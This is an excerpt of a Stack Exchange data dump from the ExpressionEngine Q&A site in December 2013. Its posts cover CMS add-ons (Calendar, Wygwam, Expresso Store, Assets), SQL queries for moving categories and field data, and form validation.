  <row Id="17401" PostTypeId="1" CreationDate="2013-12-04T14:42:58.240" Score="2" ViewCount="151" Body="&lt;p&gt;I am using the Month calendar. I would like to display the months and days in Arabic language. Can anyone help me with this?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Can you please guide me how to call the arabic calendar?&lt;/p&gt;&#xA;" OwnerUserId="2439" LastEditorUserId="55" LastEditDate="2013-12-16T19:39:26.273" LastActivityDate="2014-01-04T18:04:13.203" Title="Calendar Month in Arabic" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17402" PostTypeId="1" CreationDate="2013-12-04T14:46:56.933" Score="0" ViewCount="187" Body="&lt;p&gt;I'm trying to work out a way to allow users on the front end to upload a file. Not so difficult in itself but I then need to assign a category to that uploaded file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I want to use the Files module but I don't know of a way to create an upload form on the front end that will use this module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could use regular entries and Safecracker but it's going to mean some retrofitting and fairly big changes in the existing site and methodolgy which I'd prefer to avoid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do a front end upload form that integrates with the Files module?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-12-04T15:14:16.393" Title="Creating a front end file upload that works with the Files module" Tags="|safecracker|file-uploads|safecracker-file|files|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17403" PostTypeId="1" CreationDate="2013-12-04T14:57:06.513" Score="7" ViewCount="523" Body="&lt;p&gt;When editing an entry ... highlight text, click ‘Link’ icon &gt; the wrong dialog appears with ‘Select an Anchor’ and ‘E-mail Address’ (&lt;a href=&quot;https://i.stack.imgur.com/Q1kHB.jpg&quot; rel=&quot;noreferrer&quot;&gt;see image&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are similar problems in inserting an image&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Under the ‘Upload’ tab it displays a progress bar in place of the ‘Browse’ button.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The OK and Cancel buttons do nothing and the only way to remove it is to crash the browser using Task Manager&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The problem has appeared within the past month (November 2013) and has affected all three people using IE. It does not occur with FF, Chrome or Safari.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Windows 7&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;IE 11&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;EE 2.7.2 (but also occurred with 2.5.2)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wygwam 3.2.2 (but also occurred with 2.6.3)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This seems to be an IE issue but is there anything I can do to prevent it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kip!&lt;/p&gt;&#xA;" OwnerUserId="2447" LastActivityDate="2015-12-16T00:47:20.130" Title="Insert Link dialog hangs using wygwam in Internet Explorer - not other browsers" Tags="|wygwam|file-uploads|links|internetexplorer|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17404" PostTypeId="1" AcceptedAnswerId="17416" CreationDate="2013-12-04T15:13:36.360" Score="2" ViewCount="98" Body="&lt;p&gt;Is there a way that you can return a hash of the order line as part of the &quot;Add to basket&quot; button?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/basket/added/ORDER_ITEM_HASH&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, it would be great if on the page you can find the order item by this hash and show the user an informative notification rather than a simple &quot;Added to basket&quot; message.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You have added the &lt;strong&gt;Acme 3000&lt;/strong&gt; to your basket with the following options:-&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Colour: Red&lt;/li&gt;&#xA;  &lt;li&gt;Size: Large&lt;/li&gt;&#xA;  &lt;li&gt;Qty: 4&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="96" LastActivityDate="2013-12-04T17:49:21.673" Title="Product Method - Order Item Hash in return URL" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17406" PostTypeId="1" AcceptedAnswerId="17436" CreationDate="2013-12-04T15:41:34.887" Score="0" ViewCount="500" Body="&lt;p&gt;I'm using EE 2.7.2, PHP 5.3.27, and Assets 2.2.2 and I'm running into a weird issue that I haven't come across.  I'm getting 403 forbidden errors in my javascript console and I check the files on the server and they're there and the permissions are correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is load the module Assets in the EE CP and it loads the subfolders on the left hand-side but it doesn't load any image thumbnails on the right.  When I try and update indexes, I select a folder or two, and then I push the Update Indexes and it just greys out and doesn't do anything.  I checked my file upload paths and they are correct and I've loaded files in those folders to make sure they load without an issue.  My permission settings on the folders are all 777 and I made sure my cache folder and all folders enclosed were 777.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The red warnings are &quot;POST &lt;a href=&quot;http://mydomain.com/&quot; rel=&quot;nofollow&quot;&gt;http://mydomain.com/&lt;/a&gt; 403 Forbidden&quot; against the file &quot;jquery.js?v=1386166017:178&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts or help would be great?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If you're wondering about an .htaccess issue...I use the same .htaccess file on another site...same provider...same plan...and it works...so something went weird on this install.)&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2013-12-05T07:22:35.043" Title="Assets folders showing...but no image thumbnails are loading" Tags="|ee2|assets|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17407" PostTypeId="2" ParentId="5774" CreationDate="2013-12-04T15:42:39.737" Score="1" Body="&lt;p&gt;An update fixed the issue.  Thanks for the help, Lisa.&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2013-12-04T15:42:39.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17408" PostTypeId="1" CreationDate="2013-12-04T16:01:11.373" Score="1" ViewCount="77" Body="&lt;p&gt;Is there a way to &quot;Edit&quot; (update options etc.) an item already in the cart?&lt;/p&gt;&#xA;" OwnerUserId="2389" LastActivityDate="2013-12-07T07:53:06.310" Title="Expresso Store Is there a way to &quot;Edit&quot; an item already in the cart?" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17409" PostTypeId="2" ParentId="17280" CreationDate="2013-12-04T16:04:31.893" Score="2" Body="&lt;p&gt;Ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed the storage engine of EE database from MyISAM to InnoDB. And now the database is replicating the primary key columns of the &lt;code&gt;exp_templates&lt;/code&gt; and &lt;code&gt;exp_template_groups&lt;/code&gt; tables  correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may have something to do with Percona Clusters' limitations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main Percona site (&lt;a href=&quot;http://www.percona.com/doc/percona-xtradb-cluster/5.5/limitation.html&quot; rel=&quot;nofollow&quot;&gt;Percona XtraDB Cluster Limitations&lt;/a&gt;) states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Currently replication works only with InnoDB storage engine. Any&#xA;  writes to tables of other types, including system (mysql.*) tables,&#xA;  are not replicated.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However numerous blogs on the Percona Blog state that MyISAM replication can be enabled via the &lt;code&gt;my.cnf&lt;/code&gt;. But is currently experimental only...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mysqlperformanceblog.com/2013/07/04/percona-xtradb-cluster-operations-mysql-webinar-follow-up-questions-anwsered/&quot; rel=&quot;nofollow&quot;&gt;MySQL Performance Blog&lt;/a&gt;....&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Does replication of MyISAM form any bottlenecks in XtraDB Cluster? If&#xA;  so, how bad?&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;MyISAM replication in PXC/Galera is labeled as experimental, but I&#xA;  think that’s a misnomer.  It should be labeled “broken by design“. &#xA;  MyISAM replication really will never work properly with Galera due to&#xA;  its non-transactional nature.....&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For now I'm not sure there's a solid answer on whether MyISAM replication works properly.&lt;/p&gt;&#xA;" OwnerUserId="1523" LastEditorUserId="1523" LastEditDate="2013-12-04T21:36:30.453" LastActivityDate="2013-12-04T21:36:30.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17410" PostTypeId="1" CreationDate="2013-12-04T16:05:54.327" Score="2" ViewCount="139" Body="&lt;p&gt;I am using a UI Kit for styling out the pages on a site. With the UI kit, there are multiple CSS files and js files in order to achieve the results of the rendered objects. Is there a way to incorporate this into the wygwam field so that the editors can view the copy as it will render?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Too many times, they try to modify the copy to look like they think it should rather than trust the styles will render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is the option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Enter the URL to a CSS file you want to be applied to your field contents.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I need more...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&#xA;Ok, I created a small CSS file that uses @import and load it in the custom CSS setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I need to wrap the content in the field in a div so it renders properly during the entry process. Is that even possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT 2 *&lt;/strong&gt;&#xA;I have now modified the advanced settings to add a bodyClass of &quot;grid page&quot; which gets me somewhat close. I still really need a way to frame in the field as it is going to be used in the pages though.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2013-12-04T17:47:04.063" LastActivityDate="2013-12-12T13:11:15.173" Title="Loading multiple stylesheets in Wygwam" Tags="|ee2|wygwam|javascript|jquery|css|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17411" PostTypeId="1" AcceptedAnswerId="17415" CreationDate="2013-12-04T17:07:10.147" Score="2" ViewCount="76" Body="&lt;p&gt;I have channels sharing the same field group and am thinking about re-assigning them to different groups because they will develop in different directions (= different fields needed). Is this possible and what would be the best approach? Thanks a lot for suggestions!&lt;/p&gt;&#xA;" OwnerUserId="2448" LastActivityDate="2013-12-04T19:38:13.360" Title="How to re-assign channels to different field groups?" Tags="|field-group|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17412" PostTypeId="1" CreationDate="2013-12-04T17:12:04.640" Score="0" ViewCount="50" Body="&lt;p&gt;Using Profile:Edit and am having a hard time getting errors to display inline:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:profile:reset_password return=&quot;account/reset-confirmed&quot; error_handling=&quot;inline&quot;}&#xA;  &amp;lt;label&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;  &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot;&amp;gt;&#xA;&#xA;  &amp;lt;label&amp;gt;Password Confirm&amp;lt;/label&amp;gt;&#xA;  &amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot; value=&quot;&quot;&amp;gt;&#xA;&#xA;  &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; &amp;gt;&#xA;{/exp:profile:reset_password}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing something obvious or is this just not possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-12-04T19:52:31.447" Title="Reset Password not displaying errors inline?" Tags="|profile-edit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17413" PostTypeId="1" AcceptedAnswerId="17414" CreationDate="2013-12-04T17:17:17.800" Score="3" ViewCount="591" Body="&lt;p&gt;I have absolutely zero experience with Expression Engine but I've been given a task to fix a validation on a registration form. There's a username field that is supposed to validate as email address only but right now it accepts any string. I have no idea if that registration is a plugin or built in. I found it's template in /themes/forum_themes/site/forum_member&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect I need to find a model for the registration db table now and change the validation type from string to email? Or something like that? I have basically no idea where to start without getting to know EE from scratch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help apprieciated. Thanks&lt;/p&gt;&#xA;" OwnerUserId="2449" LastActivityDate="2013-12-04T17:36:44.393" Title="Username field validation on registration form" Tags="|email|forum|validation|username|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17414" PostTypeId="2" ParentId="17413" CreationDate="2013-12-04T17:29:51.637" Score="3" Body="&lt;p&gt;That's the native EE forum template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest using the jQuery Validation plugin &lt;a href=&quot;http://jqueryvalidation.org/&quot; rel=&quot;nofollow&quot;&gt;http://jqueryvalidation.org/&lt;/a&gt;. You can add the code to the forum header template. I don't know the header template name offhand but it should be in the same directory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;registration&quot; action=&quot;&quot;&amp;gt;&#xA;    &amp;lt;input id=&quot;email&quot; type=&quot;email&quot; name=&quot;email&quot; required&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;    $(&quot;#registration&quot;).validate({&#xA;        rules: {&#xA;            email: {&#xA;                required: true,&#xA;                email: true&#xA;            }&#xA;        },&#xA;        messages: {&#xA;            email: {&#xA;                required: &quot;Please enter a valid email address&quot;&#xA;            }&#xA;        },&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-12-04T17:36:44.393" LastActivityDate="2013-12-04T17:36:44.393" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17415" PostTypeId="2" ParentId="17411" CreationDate="2013-12-04T17:33:43.423" Score="2" Body="&lt;p&gt;If you've already got a lot of entries published in any of these channels I'd recommend &lt;em&gt;not&lt;/em&gt; changing the field group for those channels. The reason being as soon as you go to edit one of your existing entries you will not see the custom fields where you data was stored and as soon as you resave the entry you will lose the data that was stored in the custom fields in the old field group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead just add any new fields to the existing field group to accommodate the different directions your channels are headed in. Then use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/publish_page_layouts.html&quot; rel=&quot;nofollow&quot;&gt;Publish Layouts&lt;/a&gt; on a per-channel basis to hide any irrelevant fields.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you really need to change the field groups and you have a lot of entries you can migrate the existing field data to new the new fields. You'd need to create analogous custom fields in your new field group and then use SQL to copy the data over to the new fields in &lt;code&gt;exp_channel_data&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some SQL to use as a starting point:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_data&#xA;SET field_id_X = field_id_Y&#xA;WHERE channel_id = Z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;X = the &lt;em&gt;new&lt;/em&gt; field ID number&lt;br&gt;&#xA;Y = the &lt;em&gt;old&lt;/em&gt; field ID number&lt;br&gt;&#xA;Z = the channel ID for the channel at hand&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend using a tool like Sequel Pro to help you inspect the data and run the queries. Make sure you backup your database first!&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-12-04T19:38:13.360" LastActivityDate="2013-12-04T19:38:13.360" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17416" PostTypeId="2" ParentId="17404" CreationDate="2013-12-04T17:49:21.673" Score="2" Body="&lt;p&gt;I don't think there's a way to do it exactly like you're asking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you could add a &lt;code&gt;{exp:store:cart}&lt;/code&gt; tag at the top where you want to display the message and inside the &lt;code&gt;{items}&lt;/code&gt; loop, use a conditional to only show the last item added. Something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:cart}&#xA;    {items}&#xA;         {if item:count == item:total_results}&#xA;            display item&#xA;         {/if}&#xA;    {/items}&#xA;{/exp:store:cart}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-12-04T17:49:21.673" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17417" PostTypeId="1" CreationDate="2013-12-04T18:00:43.397" Score="0" ViewCount="74" Body="&lt;p&gt;When a page contains multiple channel forms on the same page, each with a matrix field; the Add Row button adds multiple rows (1 per channel form on the page it seems.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any easy way to work around this?&lt;/p&gt;&#xA;" OwnerUserId="1818" LastActivityDate="2013-12-04T18:10:56.810" Title="When multiple channel forms present each containing a matrix, the add row button adds multiple rows" Tags="|matrix|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17418" PostTypeId="2" ParentId="17417" CreationDate="2013-12-04T18:10:56.810" Score="3" Body="&lt;p&gt;After examining some pseudo-related questions I discovered that multiple instances of the matrix.js were being loaded causing multiple executions upon the Add Row click event.  I added &lt;code&gt;include_assets=&quot;no&quot;&lt;/code&gt; on channel forms after the first one which prevented the problem.&lt;/p&gt;&#xA;" OwnerUserId="1818" LastActivityDate="2013-12-04T18:10:56.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17419" PostTypeId="1" CreationDate="2013-12-04T19:21:24.517" Score="2" ViewCount="197" Body="&lt;p&gt;In a category group &quot;Shops &amp;amp; Services&quot; we have three parent categories each with many sub-categories:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Offices&lt;/li&gt;&#xA;&lt;li&gt;Services&lt;/li&gt;&#xA;&lt;li&gt;Retail&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The Retail (parent category) has grown to a point where it needs to become its own category group. In the end we will have these groups:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Offices &amp;amp; Services&lt;/li&gt;&#xA;&lt;li&gt;Retail&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there a best method for doing this? There are quite a few entries here so manually updating each individual entry would be daunting. Would it be as simple as running a SQL query?&lt;/p&gt;&#xA;" OwnerUserId="4" LastActivityDate="2013-12-05T21:46:31.767" Title="Move categories from one group to another" Tags="|categories|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17420" PostTypeId="2" ParentId="17419" CreationDate="2013-12-04T19:47:47.330" Score="5" Body="&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you would probably prefer to truly just move an existing category to a new group (and not create new ones and reassign entries as outlined below), this SQL is all you would need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_categories&#xA;SET group_id = X&#xA;WHERE cat_id = Y OR parent_id = Y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;X = new category group&lt;br&gt;&#xA;Y = parent category that you want to move to new group&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;OR&lt;/code&gt; clause will catch and move the child categories to the new group as well. Remember to make a backup first.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The edit page in the CP does include an option to filter entries by category and then mass-assign a new category. I've used this to do exactly what you've described.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Filter by your old category to get the entries&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Mo5F6.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select (check) all entries,&lt;br&gt;&#xA;then choose &quot;Add Categories&quot; bulk action from the menu on the bottom right&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RdFZR.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is practical if you don't have &lt;em&gt;too&lt;/em&gt; many entries that need systematic recategorization (say a few hundred). Just set the limit on the edit page search to 150 entries so you mass-apply categories to a larger batch at each pass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, yes, SQL is the way to go. Just create your new category and note its ID. Then run the following query (backup your database first):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_category_posts&#xA;SET cat_id = X&#xA;WHERE cat_id = Y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;X = the new category ID&lt;br&gt;&#xA;Y = the old category ID&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-12-05T21:46:31.767" LastActivityDate="2013-12-05T21:46:31.767" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17421" PostTypeId="2" ParentId="17412" CreationDate="2013-12-04T19:52:31.447" Score="2" Body="&lt;p&gt;It seems that you're missing the variables within the tag to output the errors. See the errors portion of the &lt;a href=&quot;http://mightybigrobot.com/docs/profile-edit/#errors&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; for information about the available variables and conditionals.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-12-04T19:52:31.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17423" PostTypeId="2" ParentId="14210" CreationDate="2013-12-04T21:03:54.133" Score="1" Body="&lt;p&gt;This is how I do it in ProForm and other add-ons...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you first put the needed files into the themes/third_party directory under a new directory name that matches the name of your addon's main third_party folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, if your module is at this location:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;system/expressionengine/third_party/module_name/mcp.module_name.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would place your assets here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;themes/third_party/module_name/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At that point you just need to include a reference to the JS/CSS files, which is pretty easy to do, just put these lines into your module's constructor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;cp-&amp;gt;add_to_head('&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;'&#xA;    .$this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('theme_folder_url')&#xA;    .'third_party/module_name/editor/styles/stylesheet.css&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;');&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;cp-&amp;gt;add_to_head('&amp;lt;script type=&quot;text/javascript&quot; src=&quot;'&#xA;    .$this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('theme_folder_url')&#xA;    .'third_party/module_name/javascript/editor/javascript/prolib.js&quot;&amp;gt;&amp;lt;/script&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then either use an inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag in your view file to trigger the binding on the editor according to their documentation, or you can create your own external JS file and include it the same way as above in the constructor.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2013-12-04T21:03:54.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17424" PostTypeId="1" AcceptedAnswerId="17425" CreationDate="2013-12-04T21:35:14.727" Score="2" ViewCount="1464" Body="&lt;p&gt;I want to password protect one specific page on an ee site.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://nameofsite/site/media&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for some reason I can't get it to work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have both htaccess and htpasswd in the site folder.&lt;/p&gt;&#xA;" OwnerUserId="327" LastEditorUserId="69" LastEditDate="2013-12-06T03:47:53.093" LastActivityDate="2013-12-06T03:47:53.093" Title="Password protect one specific page" Tags="|member-management|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17425" PostTypeId="2" ParentId="17424" CreationDate="2013-12-04T21:41:58.717" Score="1" Body="&lt;p&gt;Since &lt;code&gt;/site/media&lt;/code&gt; this isn't really a directory you won't be able to do it with plain old htaccess. But you &lt;em&gt;can&lt;/em&gt; use ExpressionEngine's &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/template_access.html&quot; rel=&quot;nofollow&quot;&gt;Template Access Restriction&lt;/a&gt; to accomplish the same thing, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the option on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/template_access.html#http-authentication&quot; rel=&quot;nofollow&quot;&gt;HTTP Authentication&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If this setting is enabled, users will be prompted to login with their&#xA;  username and password to view the template using a standard HTTP&#xA;  Authentication dialog box. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Just set up a user account with the desired username and password. You may want to create a member group with the correct permissions just for this one account.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-12-04T21:41:58.717" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17426" PostTypeId="2" ParentId="17376" CreationDate="2013-12-04T22:03:10.790" Score="1" Body="&lt;p&gt;As of this writing, Importer does not import into Grid fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest commenting or adding your +1 in our feature request section found here: &lt;a href=&quot;http://support.solspace.com/support/discussions/&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, this feature request thread seems spot-on: &lt;a href=&quot;http://support.solspace.com/support/discussions/topics/33803&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions/topics/33803&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-12-04T22:03:10.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17427" PostTypeId="2" ParentId="17401" CreationDate="2013-12-04T22:09:45.190" Score="2" Body="&lt;p&gt;For maximum control over the data and markup of a calendar, you should use the &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; tag instead of the &lt;code&gt;{exp:calendar:month}&lt;/code&gt;. The latter is a shortcut to the former. Please see the &lt;strong&gt;advanced&lt;/strong&gt; example in the documentation:&#xA;&lt;a href=&quot;http://www.solspace.com/docs/calendar/month//#examples&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/month//#examples&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also need to translate the language file in Calendar under &lt;code&gt;/system/expressionengine/third_party/calendar/language/english/lang.calendar.php&lt;/code&gt;. Of course, instead of &quot;english&quot; you might want to create a separate &quot;arabic&quot; folder containing lang.calendar.php, to have &lt;code&gt;/system/expressionengine/third_party/calendar/language/arabic/lang.calendar.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-12-04T22:09:45.190" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
